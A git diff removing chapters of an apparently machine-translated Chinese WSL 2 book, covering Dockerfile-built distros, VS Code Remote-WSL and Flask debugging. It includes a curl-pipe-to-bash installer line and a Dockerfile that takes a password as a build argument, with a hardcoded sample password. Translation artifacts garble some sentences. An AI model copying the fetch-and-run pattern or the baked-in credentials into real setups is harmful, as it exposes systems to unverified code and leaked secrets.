在本节中,我们将研究如何自动化这个过程,并且作为自动化的一部分,我们将添加一些额外的步骤来改进我们之前执行的映像准备。 - -容器的自动化配置的基础是我们看到的`Dockerfile`[*第七章*](07.html#_idTextAnchor082),*处理容器在 WSL*,在【显示】引入 Dockerfiles 部分。 我们可以使用`Dockerfile`构建映像,然后按照前面的步骤从映像运行容器,并将文件系统导出到可以作为 wsdl 发行版导入的 TAR 文件。 - -让我们从`Dockerfile`开始。 - -### 创建 Dockerfile - -`docker build`命令允许我们通过`Dockerfile`自动化构建容器映像的步骤。 这个`Dockerfile`的起始点如下: - -```sh -FROM mcr.microsoft.com/dotnet/sdk:5.0 -ARG USERNAME -ARG PASSWORD -RUN useradd -m ${USERNAME} -RUN bash -c 'echo -e "${PASSWORD}\n${PASSWORD}\n" | passwd ${USERNAME}' -RUN bash -c 'echo -e "[user]\ndefault=${USERNAME}" > /etc/wsl.conf' -RUN usermod -aG sudo ${USERNAME} -RUN apt-get update && apt-get -y install sudo -``` - -在这个`Dockerfile`中,我们在`FROM`步骤中指定起始图像(与前面使用的`dotnet/sdk`图像相同),然后使用两个`ARG`语句允许传入`USERNAME`和`PASSWORD`。 在此之后,我们将`RUN`一些命令来配置映像。 通常,在`Dockerfile`,你会看到这些命令连接作为一个【显示】一步帮助减少的数量和大小的层,但在这里,我们要导出完整的文件系统,所以没关系。 让我们来看看这些命令: - -* 我们有`useradd`,我们以前用它来创建用户,这里我们用`USERNAME`参数值来使用它。 -* `passwd`命令要求用户输入两次密码,因此我们使用`echo`输出两次密码,中间有换行符,并将其传递给`passwd`。 我们调用`bash`来运行它,以便我们可以使用`\n`来转义换行符。 -* 我们再次使用`echo`来设置`/etc/wsl.conf`内容,为 WSL 配置默认用户。 -* 我们调用`usermod`,通过将用户添加到`sudo`ers 组来允许用户运行`sudo`。 -* 然后,使用`apt-get`安装`sudo`实用程序。 - -如您所见,这个列表涵盖了我们以前手动运行的步骤,以及一些其他的步骤来设置`sudo`,以使环境感觉更自然一些。 您可以在这里添加任何您想要的其他步骤,并且通过更改`FROM`映像,这个`Dockerfile`可以在其他基于 debian 的映像中重用。 - -接下来,我们可以使用 Docker 从`Dockerfile`构建一个映像。 - -### 创建 TAR 文件 - -现在有了`Dockerfile`,我们需要调用 Docker 来构建映像并创建 TAR 文件。 我们可以使用下面的命令来做到这一点: - -```sh -docker build -t dotnet-test -f Dockerfile --build-arg USERNAME=stuart --build-arg PASSWORD=ticONUDavE . -docker run --name dotnet-test-instance dotnet-test -docker export -o c:\temp\chapter-08-dotnet.tar dotnet-test-instance -docker rm dotnet-test-instance -``` - -这组命令执行从`Dockerfile`创建 TAR 文件所需的步骤: - -* 运行`docker build`,指定要创建的映像名称(`dotnet-test`)、输入`Dockerfile`以及我们定义的每个`ARG`的值。 在这里您可以设置您想要使用的用户名和密码。 -* 使用`docker run`从映像创建一个容器。 我们必须这样做才能导出容器文件系统。 Docker 确实有一个`save`命令,但它可以保存图像及其图层,这不是我们需要导入到 WSL 的格式。 -* 执行`docker export`命令,将容器文件系统导出为 TAR 文件。 -* 删除带有`docker rm`的容器以释放空间,并便于重新运行命令。 - -现在,我们有了 TAR 文件,我们可以像在上一节中看到的那样运行`wsl --import`来创建新的 WSL 发行版: - -```sh -wsl --import chapter-08-dotnet c:\wsl-distros\chapter-08-dotnet c:\temp\chapter-08-dotnet.tar -``` - -这将创建一个带有我们在`Dockerfile`中应用的指定用户和配置的`chapter-08-dotnet`发行版。 - -使用这些可编写脚本的命令,创建新的发行版变得很容易。 您可以在`Dockerfile`中添加步骤,以添加其他应用或配置。 例如,如果你打算在那个发行版中使用 Azure,为了方便,你可能想通过在你的`Dockerfile`中添加以下行来安装 Azure CLI: - -```sh -RUN  curl -sL https://aka.ms/InstallAzureCLIDeb | bash -``` - -这个`RUN`命令基于 Azure CLI 文档([https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest))中的安装说明。 - -通过这种方式,您可以轻松地编写脚本来创建根据您的需要配置的新的 wsdl 发行版。 无论您计划长期使用它们,还是将它们作为临时的、一次性的环境,这都是您的工具包中的一个强大工具。 - -# 总结 - -在本章中,您已经了解了如何使用 WSL`export`和`import`命令。 这些命令允许您将您的发行版复制到其他计算机上,或者在您重新安装计算机时备份和恢复您的发行版。 它们还提供了一种克隆发行版的方法,如果您想在一个发行版的副本中进行试验或工作,而不影响原来的发行版。 - -您还看到了如何使用*容器*构建新的发行版。 这提供了一种高效的方法来设置新的发行版,或者在不影响原始发行版的情况下快速测试应用。 如果您在不同的项目之间有不同的技术堆栈,并且希望在它们的依赖关系之间有一定的隔离,那么它也是一个很好的方法来设置每个项目的发行版。 如果您发现自己正在使用这种多发行版方法,那么能够以脚本方式创建这些发行版将有助于提高生产率。 - -随着我们通过使用 dockerfile 编写脚本来创建这些环境,我们更接近于使用容器。 我们将在[*第 10 章*](10.html#_idTextAnchor125)、*Visual Studio Code 和容器*中探索如何继续这个旅程,并直接使用容器进行开发工作。 - -在此之前,下一章将介绍 Visual Studio Code,这是微软的一个功能强大的免费编辑器,并探索它如何允许我们在 WSL 中使用源代码。* \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/09.md b/docs/wsl2-tip-trick-tech/09.md deleted file mode 100644 index 102d0410..00000000 --- a/docs/wsl2-tip-trick-tech/09.md +++ /dev/null @@ -1,281 +0,0 @@ -# 九、Visual Studio Code 和 WSL - -到目前为止,本书的重点一直放在 wsdl 和直接使用 wsdl 上。 在本章中,我们将进一步讨论如何在开发应用时使用 WSL。 特别地,在本章中,我们将探索来自微软的免费编辑器 Visual Studio Code。 - -我们已经看到了 WSL 互操作性如何允许我们从 Windows 访问 WSL 发行版中的文件。 Visual Studio Code 通过在 Windows 中连接到运行在我们的 WSL 发行版中的支持编辑器服务的图形化编辑体验,使我们能够进一步深入。 通过这种方式,Visual Studio Code 为我们提供了一些功能,比如在 WSL 中运行的 Linux 应用的图形化调试体验。 这使我们能够使用 WSL 中的工具和依赖项,同时在 Visual Studio Code 中保持丰富的基于 windows 的编辑体验。 - -在本章中,我们将涵盖以下主要主题: - -* Visual Studio Code 简介 -* 介绍 Visual Studio Code 远程 -* 使用 remote - wsdl 的技巧 - -本章一开始我们将介绍 Visual Studio Code 并安装它。 - -# 介绍 Visual Studio Code - -**Visual Studio Code**是微软的一个免费的、跨平台的、开放源代码的代码编辑器。 它提供了对 JavaScript(和 TypeScript)应用的即时支持,但也可以作为扩展来支持广泛的语言(包括 c++、Java、PHP、Python、Go、c#和 SQL)。 让我们从安装 Visual Studio Code 开始。 - -要安装 VisualStudio Code,请转到[https://code.visualstudio.com/](https://code.visualstudio.com/),点击下载链接,并在下载完成后运行安装程序。 安装过程相当简单,但如果您想了解更多细节(包括如何安装内部版本,它提供每晚的构建),请参见[https://code.visualstudio.com/docs/setup/setup-overview](https://code.visualstudio.com/docs/setup/setup-overview)。 - -安装完成后,启动 Visual Studio Code 会出现这样的窗口: - -![Figure 9.1 – A screenshot of Visual Studio Code ](img/Figure_9.1_B16412.jpg) - -图 9.1 - Visual Studio Code 的截图 - -在这个截图中,你可以看到 Visual Studio Code 中的**欢迎**页面。 这个页面提供了一些常见操作(例如打开一个文件夹)、最近打开的文件夹(第一次安装时不会有这些)和各种方便的帮助页面的链接。 - -一般来说,Visual Studio Code 的基本用法对其他图形编辑器来说很熟悉。 文档中有一些伟大的介绍性视频([https://code.visualstudio.com/docs/getstarted/introvideos)以及书面提示和技巧(https://code.visualstudio.com/docs/getstarted/tips-and-tricks](https://code.visualstudio.com/docs/getstarted/introvideos))。 这些链接提供了许多方便的技术来帮助您最大限度地利用 Visual Studio Code,并推荐您提高工作效率。 - -有各种各样的选项打开一个文件夹开始: - -* 在**欢迎**页面上使用**Open folder…**链接,如图 9.1*所示。 【5】* -* 使用**File**菜单中的**Open folder…**项。 -* 使用命令面板中的**File: Open folder…**项目。 - -这里的最后一个选项是使用命令面板,这是一个功能强大的选项,因为它提供了在 Visual Studio Code 中搜索任何命令的快速方法。 您可以通过按*Ctrl*+*Shift*+*P*来访问命令面板: - -![Figure 9.2 – A screenshot showing the command palette ](img/Figure_9.2_B16412.jpg) - -图 9.2 -显示命令面板的屏幕截图 - -这个屏幕截图显示了打开的命令面板。 命令面板提供了对 Visual Studio Code 中的所有命令的访问(包括来自已安装扩展的操作)。 当您在命令面板中输入时,操作列表将被向下过滤。 在这张截图中,你可以看到我已经过滤了`file open`,这可以快速访问**文件:打开文件夹…**操作。 同样值得注意的是,命令面板还显示了命令的键盘快捷键,为学习常用命令的快捷键提供了一种简单的方法。 - -正如前面提到的,有一个广泛的扩展 Visual Studio Code,而这些可以浏览 https://marketplace.visualstudio.com/vscode 或者你可以选择**扩展:安装扩展**从命令面板直接浏览并安装在 Visual Studio Code。 扩展可以向 Visual Studio Code 添加特性,包括对新语言的支持、提供新的编辑器主题或添加新功能。 在本章的例子中,我们将使用 Python 应用,但这些原则适用于其他语言。 要了解更多关于添加语言支持的信息,请参见[https://code.visualstudio.com/docs/languages/overview](https://code.visualstudio.com/docs/languages/overview)。 - -在我们开始看样例应用之前,让我们先看一个扩展,它为 Visual Studio Code 添加了丰富的 WSL 支持。 - -# Visual Studio Code 远程的介绍 - -一种工作从 WSL 发行版的文件系统是文件打开使用`\\wsl$`分享 WSL 提供(详见[*第四章*](04.html#_idTextAnchor047)、【显示】Windows, Linux 互操作性,在*访问 Linux 文件从 Windows*部分)。 例如,我可以通过`\\wsl$\Ubuntu-20.04\home\stuart\wsl-book`访问发行版**Ubuntu-20.04**的主目录下的`wsl-book`文件夹。 然而,尽管这样做可以工作,但它增加了 Windows-to-Linux 文件互操作的成本,并且不能为我提供一个集成的环境。 - -在 Windows 上,如果我们将 Python 与 Visual Studio Code 的 Python 扩展一起安装,那么我们将获得运行和调试代码的集成体验。 如果我们通过`\\wsl$`共享打开代码,那么 Visual Studio code 仍然会给我们 Windows 的体验,而不是使用安装 Python 及其依赖项和来自 WSL 的工具。 然而,通过微软的**Remote-WSL 扩展**,我们可以解决这个问题! - -通过远程开发扩展,Visual Studio Code 现在将体验分离到 Visual Studio Code 用户界面和 Visual Studio Code 服务器中。 服务器部分负责加载源代码、启动应用、运行调试器、启动终端进程以及类似的其他活动。 用户界面部分通过与服务器通信提供 Windows 用户界面功能。 - -有各种各样的远程扩展: - -* Remote-WSL,它在 WSL 中运行服务器 -* remote -SSH,它允许您通过 SSH 连接到远程机器来运行服务器 -* Remote-Containers,它允许您使用容器来运行服务器 - -我们将用本章剩下的时间来研究 Remote-WSL,下一章将讨论 remote - container。 有关 Remote-Development 扩展(包括 Remote-SSH)的更多信息,请参见 https://code.visualstudio.com/docs/remote/remote-overview。 让我们从 remote - wsdl 开始。 - -# 开始 Remote-WSL - -的 Remote-WSL 扩展包括在远程开发扩展包(https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack),它提供了一个简单的方法来安装 Remote-WSL,远程 ssh, Remote-Containers 在一个单一的步骤。 如果您更喜欢只安装 Remote-WSL,那么在这里执行:[https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl)。 - -要遵循这一点,请确保您在 Linux 发行版中克隆了这本书的代码。 您可以在[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)找到代码。 - -示例代码使用 Python 3,如果您使用的是最新版本的 Ubuntu,那么应该已经安装了 Python 3。 您可以通过在您的 Linux 发行版中运行`python3 -c 'print("hello")'`来测试是否安装了 Python 3。 如果命令成功完成,则一切就绪。 如果没有,请参考 Python 文档中关于安装的说明:[https://wiki.python.org/moin/BeginnersGuide/Download](https://wiki.python.org/moin/BeginnersGuide/Download)。 - -现在让我们在 Visual Studio code 中打开示例代码。 - -## 用 Remote-WSL 打开一个文件夹 - -Remote-WSL 安装后,打开 Visual Studio Code,选择**Remote-WSL:从命令面板新窗口**(*Ctrl +*+【T7 转变】【显示】页):** - - *![Figure 9.3 – A screenshot showing the Remote-WSL commands in the command palette ](img/Figure_9.3_B16412.jpg) - -图 9.3 -在命令面板中显示 remote - wsdl 命令的屏幕截图 - -这个屏幕截图显示了 Remote-WSL 扩展添加的新命令,选中了**Remote-WSL: new Window**。 这将打开一个新的 Visual Studio Code 窗口,在默认的 WSL 发行版中启动 Visual Studio Code 服务器并连接到它。 如果你想选择要连接到哪个发行版,选择**Remote-WSL: New Window using distro…**选项。 - -一旦新的 Visual Studio Code 窗口打开,窗口的最左下角将显示**WSL: Ubuntu-18.04**(或任何你打开的发行版),表明这个 Visual Studio Code 实例通过 Remote-WSL 连接。 - -现在我们可以从命令面板中选择**File: Open Folder…**来打开示例代码。 在不通过 Remote-WSL 连接的情况下在 Visual Studio Code 中执行此操作时,这个将打开标准 Windows 文件对话框。 然而,由于我们连接了 Remote-WSL,这个命令现在会提示我们在我们连接的发行版中选择一个文件夹: - -![Figure 9.4 – A screenshot showing the Remote-WSL folder picker ](img/Figure_9.4_B16412.jpg) - -图 9.4 -显示 remote - wsdl 文件夹选择器的屏幕截图 - -这个屏幕截图显示了从 WSL 分发文件系统中选择要打开的文件夹。 注意,我将这本书的代码克隆到我的`home`文件夹中的`wsl-book`中。 根据您保存代码的位置,您可能有一个如`/home//WSL-2-Tips-Tricks-and-Techniques/chapter-09/web-app`这样的路径。 一旦你打开文件夹,Visual Studio 就会开始处理内容,如果你还没有安装 Python 扩展,Visual Studio 会提示你安装推荐的扩展: - -![Figure 9.5 – A screenshot showing the recommended extensions prompt ](img/Figure_9.5_B16412.jpg) - -图 9.5 -显示推荐扩展提示的屏幕截图 - -出现此屏幕截图中的提示是因为您刚刚打开的文件夹包含一个列出 Python 扩展名的`.vscode/extensions.json`文件。 出现提示时,可以单击**Install All**来安装扩展,也可以单击**Show Recommendations**在安装前检查扩展。 注意,即使你在使用 Remote-WSL 之前已经在 Visual Studio Code 中安装了 Python 扩展,你也可能会被提示: - -![Figure 9.6 – A screenshot showing Python installed in Windows but not WSL ](img/Figure_9.6_B16412.jpg) - -图 9.6 -显示 Python 安装在 Windows 而不是 WSL 上的截图 - -这个截图显示了 Visual Studio Code 中的**EXTENSIONS**视图,表明 Python 扩展已经安装在 Windows 中,并提示我们为加载当前项目的发行版安装 Remote-WSL。 如果看到这种情况,请单击**Install**按钮将其安装到 WSL 中。 - -现在,我们已经有了运行在 Windows 上的 Visual Studio Code 用户界面,并连接到在我们的 WSL 发行版中运行的服务器组件。 服务器已经加载了 web 应用的代码,我们已经安装了 Python 扩展,它现在正在服务器中运行。 - -设置好之后,让我们看看如何在调试器下运行代码。 - -## 运行 app - -运行应用,我们首先需要确保正确版本的 Python 扩展使用 Python(我们希望 Python 3)。要做到这一点,看在状态栏底部的 Visual Studio Code 窗口,直到你看到说**Python 2.7.18 64 位**或类似。 单击此部分会弹出 Python 版本选择器: - -![Figure 9.7 – A screenshot showing the Python version picker ](img/Figure_9.7_B16412.jpg) - -图 9.7 -显示 Python 版本选择器的截图 - -如图所示,版本选择器显示它检测到的任何 Python 版本,并允许您选择您想要的版本(这里,我们选择了 Python 3 版本)。 注意,这个列表中显示的路径都是 Linux 路径,这确认了 Python 扩展是,它以 WSL 的形式在 Visual Studio Code 服务器中运行。 如果您喜欢使用 Python 虚拟环境([https://docs.python.org/3/library/venv.html](https://docs.python.org/3/library/venv.html))并已为项目创建了一个虚拟环境,这些虚拟环境也将显示在此列表中供您选择。 - -在运行应用之前,我们需要安装依赖项。 在命令面板中,选择**视图:切换集成终端**。 这将在 Visual Studio Code 窗口中打开一个终端视图,并将工作目录设置为项目文件夹。 从终端运行`pip3 install -r requirements.txt`来安装依赖项。 - -提示 - -如果没有安装 pip3,请运行`sudo apt-update && sudo apt install python3-pip`进行安装。 - -或者,按照下面的说明:[https://packaging.python.org/guides/installing-using-linux-tools/](https://packaging.python.org/guides/installing-using-linux-tools/)。 - -接下来,在**EXPLORER**栏中打开`app.py`(如果不显示,使用*Ctrl*+*Shift*+*E*打开浏览器)。 这将显示一个使用 Flask web 框架的简单 Python 应用的相对较短的代码,它输出 web 应用运行的机器的一些基本信息。 当`app.py`打开时,我们可以通过按*F5*来启动调试器,这将提示您选择要使用的配置: - -![Figure 9.8 – A screenshot showing the Python configuration picker ](img/Figure_9.8_B16412.jpg) - -图 9.8 -显示 Python 配置选择器的屏幕截图 - -这个截图显示了 Python 扩展允许您从中选择的一组通用调试选项。 稍后我们将看到如何配置它以获得充分的灵活性,但现在,选择**Flask**。 这个将使用 Flask 框架启动应用并附加调试器: - -![Figure 9.9 – A screenshot showing the application running under the debugger ](img/Figure_9.9_B16412.jpg) - -图 9.9 -显示在调试器下运行的应用的屏幕截图 - -在前面的屏幕截图中,您可以看到集成终端窗口已经打开,Visual Studio Code 已经启动了 Flask 应用。 当应用启动时,它输出正在侦听的 URL(在本例中为`http://127.0.0.1:5000`)。 将鼠标悬停在此链接上,按*Ctrl*+*单击*以打开该链接。 这样做会在默认浏览器中打开 URL: - -![Figure 9.10 – A screenshot showing the web app in the browser ](img/Figure_9.10_B16412.jpg) - -图 9.10 -在浏览器中显示 web 应用的截图 - -这个截图显示了浏览器中 web 应用的输出,其中包括操作系统名称和 web 应用服务器所运行的内核版本。 这再次说明,虽然 Visual Studio Code 用户界面在 Windows 中运行,但所有代码都在我们的 WSL 发行版中被处理并运行。 Visual Studio Code 的 Remote-WSL 和本地主机地址的 WSL 流量转发的组合为我们提供了跨越 Windows 和 Linux 的丰富而自然的体验。 - -到目前为止,我们只是使用调试器作为一种方便的方式来启动我们的应用。接下来,让我们看看如何使用调试器来逐步遍历我们的代码。 - -## 调试应用 - -在这一节中,我们将看看如何在调试器中逐步调试项目中的代码。 同样,这允许我们使用 Windows 中的 Visual Studio Code 用户界面来连接和调试在我们的 WSL 发行版中运行的应用。 - -在上一节中,我们看到了如何使用*F5*来运行我们的 Python 应用,它会提示我们使用一个配置(我们选择了*Flask*)。 因为我们还没有为项目配置调试器,所以每次都会提示我们选择环境。 在深入了解调试器之前,让我们先设置配置,以便*F5*能够自动正确地启动应用。 要做到这一点,打开**运行视图或者按【显示】*Ctrl + Shift+【病人】D 或**选择运行:关注运行视图**命令从命令面板:*** - - ***![Figure 9.11 – A screenshot showing the Run view in Visual Studio Code ](img/Figure_9.11_B16412.jpg) - -图 9.11 -在 Visual Studio Code 中显示 Run 视图的截图 - -这个屏幕截图显示了**RUN**视图,该视图有一个链接到**创建一个启动。 json 文件**,因为一个文件当前不存在于打开的文件夹中-单击此链接创建一个`launch.json`文件。 您将看到与图 9.7*中相同的一组选项,并且应该再次选择**Flask**。 这一次,Visual Studio Code 将在我们打开的文件夹中创建一个`.vscode/launch.json`文件:* - -```sh -{ - // Use IntelliSense to learn about possible attributes. - // Hover to view descriptions of existing attributes. - // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 - "version": "0.2.0", - "configurations": [ - { - "name": "Python: Flask", - "type": "python", - "request": "launch", - "module": "flask", - "env": { - "FLASK_APP": "app.py", - "FLASK_ENV": "development", - "FLASK_DEBUG": "0" - }, - "args": [ - "run", - "--no-debugger", - "--no-reload" - ], - "jinja": true - } - ] -} -``` - -正如内容所示,`launch.json`包含一个**JSON**(**JavaScript 对象标记**)定义,用于运行和调试应用。 这个定义描述我们之前运行应用,但现在紧迫的【显示】F5 这样会自动运行,使我们工作的流应用。在这个定义也意味着运行和调试应用配置为其他人工作的应用。此外, 它为我们提供了一种更改配置的方法,例如,通过向`env`属性添加环境变量。 - -在配置了调试选项之后,让我们切换回`app.py`文件并设置断点。 在`app.py`中,我们有一个`home`方法,它返回一些 HTML 并包含`get_os_info`函数的输出。 导航到该函数中的`return`语句并按*F9*添加断点(还有其他方法可以完成此操作—参见 https://code.visualstudio.com/docs/editor/debugging)。 现在我们可以按*F5*来运行我们的应用,当它处理请求时,它将在调试器中暂停。 要触发断点,请像之前一样打开浏览器并切换回 Visual Studio Code: - -![Figure 9.12 – A screenshot of Visual Studio Code debugging a Python app in WSL ](img/Figure_9.12_B16412.jpg) - -图 9.12 - Visual Studio Code 在 WSL 中调试 Python 应用的截图 - -这张截图显示了 Visual Studio Code 调试我们的应用。在左边,我们可以看到局部变量(例如,`sysname`变量的内容)和调用堆栈。 我们可以使用窗口顶部的控件(或其键盘快捷键)来继续执行或步进代码。 窗口的底部显示了用于运行应用的终端,我们可以将其切换到**调试控制台**视图。 通过这样做,我们可以执行表达式,包括查看或设置变量。 为了测试这一点,尝试运行`sysname="Hello"`,然后按*F5*来恢复应用。切换回浏览器,你会看到浏览器的输出`Hello`,表明我们在调试器中更新了变量的值。 - -在这里,我们看到了 Visual Studio Code 为使用多种语言提供的丰富支持(通过通过扩展安装语言支持)。 通过安装和使用*Remote-WSL*扩展,我们可以获得 Visual Studio Code 的丰富特性,以及在 Windows 中的用户体验和在 WSL 中执行的所有代码服务。 在这个示例中,我们浏览了在 wsdl 中运行的所有代码服务:Python 解释器、用于支持重构的语言服务、调试器和正在调试的应用。 所有这些执行都发生在 WSL 中,因此我们能够在 Linux 中设置环境,然后在开发应用时在其之上拥有丰富的 UI。 - -现在我们已经了解了核心体验,接下来我们将探讨一些技巧来最大限度地利用 Remote-WSL。 - -# 使用 Remote-WSL 的技巧 - -本节将介绍一些技巧,这些技巧可以帮助您在使用 Visual Studio Code 和 Remote-WSL 时进一步完善您的体验。 - -## 从终端加载 Visual Studio Code - -在 Windows 中,您可以使用`code `命令从终端启动 Visual Studio Code 来打开指定的路径。 例如,您可以使用`code .`在 Visual Studio Code 中打开当前文件夹(`.`)。 这实际上使用了一个`code.cmd`脚本文件,但是 Windows 允许您删除扩展名。 - -在使用 WSL 时,通常会打开一个终端,而使用 Remote-WSL,您还会得到一个`code`命令。 因此,您可以在 WSL 中导航到终端中的项目文件夹并运行`code .`,它将启动 Visual Studio Code 并使用 Remote-WSL 扩展打开指定的文件夹(在本例中是当前文件夹)。 这种集成是一种很好的选择,可以在 Windows 和 WSL 环境之间保持一种对等感和集成。 - -在这里,我们看到了如何从终端获取 Visual Studio Code。 接下来,我们来看看相反的情况。 - -## 在 Windows 终端中打开外部终端 - -有时你在 Visual Studio Code 工作在你的应用,你想要一个新的终端来运行一些命令。 Visual Studio Code 有**Terminal: Create New Integrated Terminal**命令,该命令将在 Visual Studio Code 中打开一个新的终端视图,正如你在*图 9.11*的屏幕截图底部所看到的那样。 很多时候,集成终端工作得很好,但有时您可能需要一个外部终端窗口,以便在终端中提供更多的空间或更容易地管理窗口(特别是在多个监视器的情况下)。 在这些情况下,您可以手动打开 Windows Terminal 并导航到您的项目文件夹,但还有另一种选择。 **Windows 终端集成**扩展为 Visual Studio Code 添加了新的命令来启动 Windows 终端。 要安装,请在 Visual Studio Code 扩展视图中搜索`Windows Terminal Integration`或打开 https://marketplace.visualstudio.com/items?itemName=Tyriar.windows-terminal。 一旦安装,有许多新的命令可用: - -![Figure 9.13 – A screenshot showing the new Windows Terminal commands ](img/Figure_9.13_B16412.jpg) - -图 9.13 -显示新的 Windows 终端命令的屏幕截图 - -这个屏幕截图显示了命令面板中可用的新命令。 **Open**命令使用 Windows 终端中的默认配置文件将 Windows 终端打开到 Visual Studio Code 工作区文件夹。 **Open Active File's Folder**命令打开包含默认配置文件中当前打开的文件的文件夹。 使用配置文件添加**的两个附加命令与前面的命令相对应,但允许您选择使用哪个 Windows Terminal 配置文件来打开路径。** - -除了从命令面板访问的命令,这个扩展还添加了新的项目,右键菜单中的文件和文件夹在 Explorer 视图: - -![Figure 9.14 – A screenshot showing the right-click menu commands ](img/Figure_9.14_B16412.jpg) - -图 9.14 -右键菜单命令的截图 - -在这张截图中,我在 Explorer 视图中单击了一个文件夹,扩展添加了两个菜单项,用于在 Windows Terminal 中打开路径。 第一个在默认配置文件中打开路径,第二个提示打开路径。 - -这个扩展使它快速和容易得到一个 Windows 终端实例打开的上下文您的 Visual Studio Code 项目,以保持您在流程和生产力。 - -接下来,我们将研究使用 Git 的一些技巧。 - -## 使用 Visual Studio Code 作为 Git 编辑器 - -Visual StudioCode 提供了集成的可视化工具来处理 Git 存储库。 根据您的个人偏好,您可以在部分或全部 Git 交互中使用`git`命令行工具。 对于某些操作,Git 打开一个临时文件来收集进一步的输入,例如,在合并提交中获取提交消息或确定对交互式 rebase 采取什么操作。 - -除非您已经配置了替代选项,否则 Git 将使用`vi`作为其默认编辑器。 如果你喜欢`vi`,那就太好了,但是如果你更喜欢使用 Visual Studio Code,那么我们可以利用本章前面看到的`code`命令。 - -要配置 Git 使用 Visual Studio Code,我们可以运行`git config --global core.editor "code --wait"`。 `--global`开关为所有存储库设置配置值(除非它们覆盖它),我们正在设置`core.editor`值,该值控制`git`使用的编辑器。 我们为该设置赋值的值是`code --wait`,它使用我们在上一节中看到的`code`命令。 在没有`--wait`开关的情况下运行`code`命令会启动 Visual Studio Code,然后退出(让 Visual Studio Code 继续运行),这通常是在使用它打开文件或文件夹时所需要的。 然而,当`git`启动编辑器时,它期望进程阻塞直到文件关闭,并且`--wait`开关给我们这样的行为: - -![Figure 9.15 – A screenshot showing Visual Studio Code as the Git editor for WSL ](img/Figure_9.15_B16412.jpg) - -图 9.15 -显示 Visual Studio Code 作为 WSL 的 Git 编辑器的截图 - -在这个截图中,您可以看到在终端的底部有一个交互式`git rebase`命令,以及`git-rebase-todo`文件,Git 在配置了 Git 编辑器后,用来捕获 Visual Studio Code 中加载的操作。 - -接下来,我们将继续研究 Git,探索查看 Git 历史的方法。 - -## 查看 Git 历史 - -当使用 Git 处理版本控件的项目时,您可能会希望在某个时刻查看提交历史。 有各种各样的方法来实现这一点,您可能有自己喜欢的工具。 尽管有基本的用户界面样式,但我经常使用`gitk`,因为它无处不在,因为它包含在 Git 安装中。 在 Windows 上工作时,您可以简单地从带有 Git 存储库的文件夹中运行`gitk`。 在 WSL 中,我们需要运行`gitk.exe`来启动 Windows 应用(注意,这需要在 Windows 上安装 Git): - -![Figure 9.16 – A screenshot showing gitk.exe run from WSL ](img/Figure_9.16_B16412.jpg) - -图 9.16 -显示从 WSL 运行 gitk.exe 的截图 - -在这个屏幕截图中,您可以看到`gitk`Windows 应用从 WSL Git 存储库运行,通过文件系统映射访问内容。 如果您有另一个 Windows 应用,您更喜欢查看 Git 历史,那么这种方法也应该有效,只要应用在您的路径中。 如果你发现自己忘记添加`.exe`运行这些命令时,您可能希望看在[*第五章*](05.html#_idTextAnchor054)、【显示】Linux, Windows 互操作性,在*创建别名为 Windows 应用部分。* - - *由于 Windows 应用通过使用`\\wsl$`共享的 Windows 到 linux 文件映射,您可能会注意到,由于这种映射的开销,对于大型 Git 存储库,应用的加载速度会更慢。 另一种方法是在 Visual Studio Code 中使用一个扩展,比如**Git Graph**(https://marketplace.visualstudio.com/items?itemName=mhutchie.git-graph): - -![Figure 9.17 – A screenshot showing the Git Graph extension in Visual Studio Code ](img/Figure_9.17_B16412.jpg) - -图 9.17 -在 Visual Studio Code 中显示 Git Graph 扩展的截图 - -这个截图显示了使用**Git Graph**扩展的 Git 历史。 通过使用 Visual Studio Code 扩展来呈现 Git 历史,该扩展可以由在 WSL 中运行的服务器组件运行。 这允许直接访问文件以查询 Git 历史,并避免 Windows 应用的性能开销。 - -# 总结 - -在本章中,您已经对 Visual Studio Code 有了一个概述,并看到了它是一个灵活的编辑器,拥有丰富的扩展生态系统,可以支持多种语言,并为编辑器添加额外的功能。 - -其中一个扩展是 Remote-WSL,它允许编辑器被一分为二,用户界面部分在 Windows 中运行,其他功能在 WSL 中运行(包括文件访问、语言服务和调试器)。 - -这种功能使您能够无缝地使用 Visual Studio Code 的丰富功能(包括扩展),但源代码和应用都是在 WSL 中运行的。 通过这种方式,您可以充分利用 wsdl 发行版可用的工具和库。 - -在下一章中,我们将探索 Visual Studio Code Remote 的另一个扩展,这一次将着眼于在容器中运行服务来自动化开发环境并提供依赖隔离。****** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/10.md b/docs/wsl2-tip-trick-tech/10.md deleted file mode 100644 index 11a21164..00000000 --- a/docs/wsl2-tip-trick-tech/10.md +++ /dev/null @@ -1,537 +0,0 @@ -# 十、Visual Studio Code 和容器 - -在[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL*中,我们看到 Visual Studio Code 编辑器允许与其他分离用户界面功能,与我们的代码,并运行它。 使用 wsdl,我们可以保持熟悉的基于 windows 的用户界面,同时在 Linux 中运行项目的所有关键部分。 除了允许代码交互在 WSL 中的服务器组件中运行外,Visual Studio code 还允许我们通过 SSH 连接到代码服务器或在容器中运行它。 在容器中运行的能力是由**Remote-Containers**扩展提供的,本章将重点讨论如何使用该功能。 我们将看到如何使用这些开发容器(或**开发容器**)来封装我们的项目依赖。 通过这样做,我们可以更容易地让人们参与到我们的项目中,并获得一种优雅的方法来隔离项目之间潜在的冲突工具集。 - -在本章中,我们将涵盖以下主要主题: - -* 介绍 Visual Studio Code 远程容器 -* 安装 Remote-Containers -* 创建开发容器 -* 在开发容器中使用容器化的应用 -* 在开发容器中使用 Kubernetes -* 使用开发容器的技巧 - -这一章,你将需要安装 Visual Studio Code——[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL*,*介绍 Visual Studio Code*部分更多的细节。 我们将通过介绍 Visual Studio Code 的 Remote-Containers 扩展并安装它来开始这一章。 - -# 介绍 Visual Studio Code 远程容器 - -Visual Studio Code 的 Remote-Containers 扩展与**Remote-WSL**和**Remote-SSH**一起作为 Remote-Development 